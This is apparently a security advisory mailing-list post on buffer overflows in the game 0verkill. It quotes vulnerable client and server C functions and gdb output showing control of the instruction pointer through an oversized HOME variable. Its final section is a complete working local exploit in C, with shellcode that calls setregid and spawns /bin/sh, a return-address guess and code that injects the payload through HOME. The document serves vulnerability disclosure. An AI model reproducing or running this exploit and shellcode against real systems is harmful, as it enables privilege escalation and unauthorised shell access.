The game 0verkill is susceptible to multiple buffer overflows. Remote exploit for the client attached.
7d2eb5c5920c68dd27c52a9f04b753988fd9871025110681a75d6a2a2c80d2d5
0verkill - little simple vulnerability.
I. Entry.
Vulnerability is game 0verkill. There is some little bugs in
clinet / server.
II. Vulnerability details.
a) client:
Vulnerability function is load_cfg(), save_cfg() and maybe
send_message().
There is simple buffer overflow bugs:
"in file client.c"
void load_cfg(char *host,char *name,int *color)
{
...
...
unsigned char txt[256];
#ifndef WIN32
sprintf(txt,"%s/%s",getenv("HOME"),CFG_FILE); //
first overflow
#else
sprintf(txt,"./%s",CFG_FILE);
#endif
...
...
a=strlen(txt);
...
...
memcpy(host,txt,strlen(txt)+1); //
second overflow
...
...
a=strlen(txt);
...
...
memcpy(name,txt,strlen(txt)+1); //
third overflow
...
...
}
"in file client.c"
void save_cfg(char *host,char *name,int color)
{
...
...
unsigned char txt[256];
#ifndef WIN32
sprintf(txt,"%s/%s",getenv("HOME"),CFG_FILE); //
overflow
#else
sprintf(txt,"./%s",CFG_FILE);
#endif
...
...
}
"in file client.c"
void send_message(char *msg)
{
static unsigned char packet[MAX_MESSAGE_LENGTH+2];
int a;
a=strlen(msg)+1;
packet[0]=P_MESSAGE;
memcpy
(packet+1,msg,a); // maybe
it's possible overflow
send_packet(packet,a+1,(struct sockaddr *)
(&server),my_id,0);
}
First we look for function load_cfg(). If we compiled 0verkill
on other system that Windows
we can set HOME and we can do overflow array txt (it's first
overflow). Look:
root@darkstar:~root/all/gry/0verkill# HOME=`perl -
e 'print "A"x300'`
root@darkstar:~root/all/gry/0verkill# gdb ./0verkill
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License,
and you are
welcome to change it and/or distribute copies of it under
certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty"
for details.
This GDB was configured as "i386-slackware-linux"...
(gdb) r
Starting program: /root/root/all/gry/0verkill/./0verkill
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r eip
eip 0x41414141 0x41414141
(gdb)
OK. Now we look for second and third bug... function memcpy()
copy from array txt to host (in second
bug) and from txt to name (thirs bug) bytes. We have controle on
array txt by setting HOME. Memcpy copy
strlen(txt)+1 bytes. Host and name is argument for load_cfg()
function. This function is called by main()
and there is declarate host and name array:
"in file client.c"
int main(int argc,char **argv)
{
...
...
char host[MAX_HOST_LEN+1];
char name[MAX_NAME_LEN+1];
...
...
memset(host,0,MAX_HOST_LEN+1);
...
...
load_cfg(host,name,&color);
...
...
}
Now looked for file cfg.h:
"in file cfg.h"
...
...
#define MAX_NAME_LEN 24 /* maximal length of player's name */
#define MAX_HOST_LEN 64 /* maximal length of hostname */
...
...
" -=[ EOF ]=- "
... and now look for function save_cfg(). There is bug like that
first bug in function load_cfg().
Now look for function send_message(). There is bad using
function memcpy() (like that second and third
bug in load_cfg() function) and maybe it is possible to do
buffer overflow atack. This function read
argument *msg. Call to function send_message() is in function
play(). Looked:
"in file client.c"
void play(void)
{
...
...
char string[80];
...
...
if (chat)
{
...
...
case 1:
char 0;
send_message(string);
...
...
}
...
...
}
MAX_MESSAGE_LENGTH is defined i cfg.h file too look:
"in file cfg.h"
...
...
#define MAX_MESSAGE_LENGTH 70 /* maximal length of chat message
*/
...
...
" -=[ EOF ]=- "
packet is array 72, string is array 80 and maybe there is
possible in this situation in function
send_message() do buffer overflow atack becouse string is
argument for send_message() function.
b) server, compiled on Windows platform
There is bug in function parse_command_line() and maybe in
function GetLastErrorText(). Looked for
function parse_command_line():
"in file server.c"
void parse_command_line(int argc,char **argv)
{
int a;
...
#ifdef WIN32
a=getopt(argc,argv,"hl:np:ri:Ic");
...
...
#endif
switch(a)
{
...
...
#ifdef WIN32
...
...
case 'i': { /* install service */
char username[80],
*pass=NULL;
...
...
if ( (pass=strchr
(optarg, '/'))==NULL ) {
strcpy(username,
optarg);
memcpy(username,
optarg, sizeof(username)-1);
...
...
}
We have simple bufer overflow by call strcpy(). I don't know why
autor 2 times copying argument
in to the array. First by call strcpy() and second time by call
memcpy()...
Function GetLastErrorText() have call sprintf that in theory
could do buffer overflow, but i couldn't
find how to fill argument for sprintf() who in theory could do
overflow. Look:
"in file server.c"
LPTSTR GetLastErrorText(LPTSTR lpszBuf, DWORD dwSize) {
...
LPTSTR lpszTemp=NULL;
...
...
dwRet=FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_ARGUMENT_ARRAY, NULL,
globErr, LANG_NEUTRAL, (LPTSTR)&lpszTemp, 0,
NULL);
...
...
sprintf(lpszBuf, ": %u: %s", globErr,
lpszTemp); // there :P
...
...
}
IpszBuf is argument for function GetLastErrorText(), lpszTemp is
filled prbably by function FormatMessage();
but i couldn't find her.
III. Exploit.
Simple exploit for local bug in client 0verkill:
/*
* Simple local exploit for 0verkill by pi3 (pi3ki31ny)
* Greetz: [greetz on my web] && other my friends (you know who
you are)
*
* ...::: -=[ www.pi3.int.pl ]=- :::...
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#define PATH "./0verkill"
#define BUFS 300
/* ...::: -=[ www.pi3.int.pl ]=- :::... */
char shellcode[] = "\x31\xdb\x31\xc0\x31\xd2\xb2\x2d\x6a\x0a\x68
\x3a"
"\x2e\x2e\x2e\x68\x2d\x20\x3a\x3a\x68\x6c\x20
\x5d"
"\x3d\x68\x6e\x74\x2e\x70\x68\x69\x33\x2e\x69
\x68"
"\x77\x77\x2e\x70\x68\x3d\x5b\x20\x77\x68
\x3a\x3a"
"\x20\x2d\x68\x2e\x2e\x2e\x3a\x89\xe1\xb0\x04
\xcd"
"\x80"
/* setregid (20,20) */
"\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0
\x47"
"\xcd\x80"
/* exec /bin/sh */
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62
\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0
\x0b\xcd"
"\x80"
/* exit(0) */
"\x31\xdb\x89\xd8\xb0\x01\xcd\x80";
long ret_ad(char *a1, char *a2) {
return (0xbffffffa-strlen(a1)-strlen(a2));
}
int ussage(char *arg) {
printf("\n\t...::: -=[ Simple exploit for 0verkill (by pi3) ]
=- :::...\n");
printf("\n\tUssage:\n\t[+] %s [options]\n
-? <this help screen>
-o <offset>
-p PATH\n\n",arg);
exit(-1);
}
int main(int argc, char *argv[]) {
long ret,*buf_addr;
char *buf,*path=PATH;
int i,opt,offset=0;
FILE *fp;
while((opt = getopt(argc,argv,"p:o:?")) != -1) {
switch(opt) {
case 'o':
offset=atoi(optarg);
break;
case 'p':
path=optarg;
break;
case '?':
default:
ussage(argv[0]);
break;
}
}
if ( (fp=fopen(path,"r"))==NULL) {
printf("\n*\tI can\'t open path to victim! - %
s\t*\n\n",path);
ussage(argv[0]);
} fclose(fp);
if (!(buf=(char*)malloc(BUFS))) {
printf("\nI can\'t locate memory! - buf\n");
exit(-1);
}
printf("\n\t...::: -=[ Simple exploit for 0verkill (by pi3) ]
=- :::...\n");
printf("\n\t[+] Bulding buffors!\n");
ret=ret_ad(shellcode,path);
ret+=offset;
printf("\t[+] Using adres 0x%x\n",ret);
buf_addr=(long*)buf;
for(i=0;i<BUFS;i+=4) {
*(buf_addr) = ret; buf_addr++;
}
memcpy(buf, shellcode, strlen(shellcode));
printf("\nExecuting the vuln program - %s\n\n",path);
setenv("HOME", buf, 1);
execl(path,path, 0);
return 0;
}
--
pi3 (pi3ki31ny) - pi3ki31ny@wp.pl
http://www.pi3.int.pl
"Wartosc czlowieka niejest wymierna do jego wiedzy lecz do
wartosci ktore ceni najbardziej"
----------------------------------------------------
Wygraj markowe telefony! Mamy a¿ 90 nagród do rozdania!
http://klik.wp.pl/?adr=http%3A%2F%2Fsms.wp.pl%2Falcatelkonkurs.html&sid=104